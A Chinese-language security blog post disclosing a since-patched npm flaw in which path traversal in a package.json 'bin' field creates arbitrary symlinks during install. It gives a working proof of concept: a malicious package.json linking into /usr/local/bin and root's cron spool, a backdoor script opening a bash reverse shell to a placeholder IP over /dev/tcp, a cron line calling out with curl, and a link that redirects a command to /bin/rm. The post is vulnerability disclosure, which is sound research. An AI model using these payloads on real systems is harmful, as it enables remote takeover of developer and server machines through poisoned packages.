p0's blog | 破 关注网络安全
npm bin属性目录限制不严导致任意文件软连接
发表于: | 分类: 默认分类 | 评论:0 | 阅读: 428

截止今天npm client修复了漏洞,npmjs.com也做了相应的处理,并且把我的号封了。

0x00 介绍

漏洞通告

https://nodejs.org/en/blog/vulnerability/december-2019-security-releases/

该漏洞出现的原因是npm install的时候会package.json中的bin属性的处理过程,与nodejs版本无关,即nodejs所有版本受影响。npm本身通过bin属性安装为一个可执行命令的可执行文件:

{ "bin" : { "hello" : "./cli.js" } }

用户安装后可便可使用hello命令执行模块代码。

当局部安装的时候,即

npm install @p0sec/hello

则会在项目内的./node_modules/.bin/目录下创建一个软链接,将./node_modules/.bin/hello链接到./node_modules/@p0sec/hello/cli.js。

当全局安装的时候,即

npm install @p0sec/hello -g

npm就会为cli.js在/usr/local/bin/hello路径创建一个软链接

但是由于目录不严格,不管是局部安装还是全局安装都会导致任意链接。

0x01 任意文件写入(任意软连接)

整体算一个被动攻击,和恶意包的攻击手段一样,不过这次利用了npm的缺陷

攻击者构造如下package.json

{
  "name": "@p0sec/hello",
  "version": "1.0.4",
  "description": "A simple npm package to demonstrate GitHub Package Registry",
  "main": "index.js",
  "scripts": {
    "test": "echo \"Error: no test specified\" && exit 1"
  },
  "author": "p0sec",
  "bin": {
    "../../../../../../../../../..//usr/local/bin/id": "bin/backdoor"
  },
  "license": "ISC"
}

bin/backdoor内容

#! /bin/bash
/bin/bash -i >& /dev/tcp/yourip/7999 0>&1

将三方包发布:npm publish。使用该包的应用服务器将会被攻击。

在被攻击者机器上执行:

了解Linux的都知道,当PATH中的路径中存在相同的命令,将会按顺序执行前面的

/usr/local/bin在/usr/bin前面,所以当用户后面执行id命令的时候会首先执行恶意的命令。

由于还要被攻击者再执行id这个命令,所有增加了攻击成本,本漏洞的原因是任意文件写入(虽然是通过软连接,实际效果是一样的),所以攻击手段可参考redis的攻击手段:https://p0sec.net/index.php/archives/69/

如写一个计划任务

bin/backdoor

* * * * * curl youip:7999

package.json

"bin": {
    "../../../../../../../../../../var/spool/cron/root": "bin/backdoor"
  }

0x02 覆盖已存在的二进制文件

如果已经存在通过全局安装的命令,那么通过漏洞可以将该命令覆盖,如覆盖egg-init

"bin": {
    "../../../../../../../../../..//usr/local/bin/egg-init": "bin/backdoor"
  },

0x03 任意文件被软链接

上面说的是key可以目录穿越,实际上value也可以:

"bin": {
    "test": "../../../../../../../../bin/rm"
  },

将任意命令链接到rm,可能会导致系统故障

0x04 最后

整体是一个被动攻击过程,最重要的一步是使被攻击机器install恶意包,也是整个过程中利用条件最高的一条。  其他一些套壳npm的也存在问题,比如yarn。

但也不乏一些主动攻击场景,提示一下:小程序平台,Serverless(Faas)平台等。


著作权归作者所有。
商业转载请联系作者获得授权,非商业转载请注明出处。
作者:p0
链接:https://p0sec.net/index.php/archives/151/
来源:https://p0sec.net/

添加新评论

TOP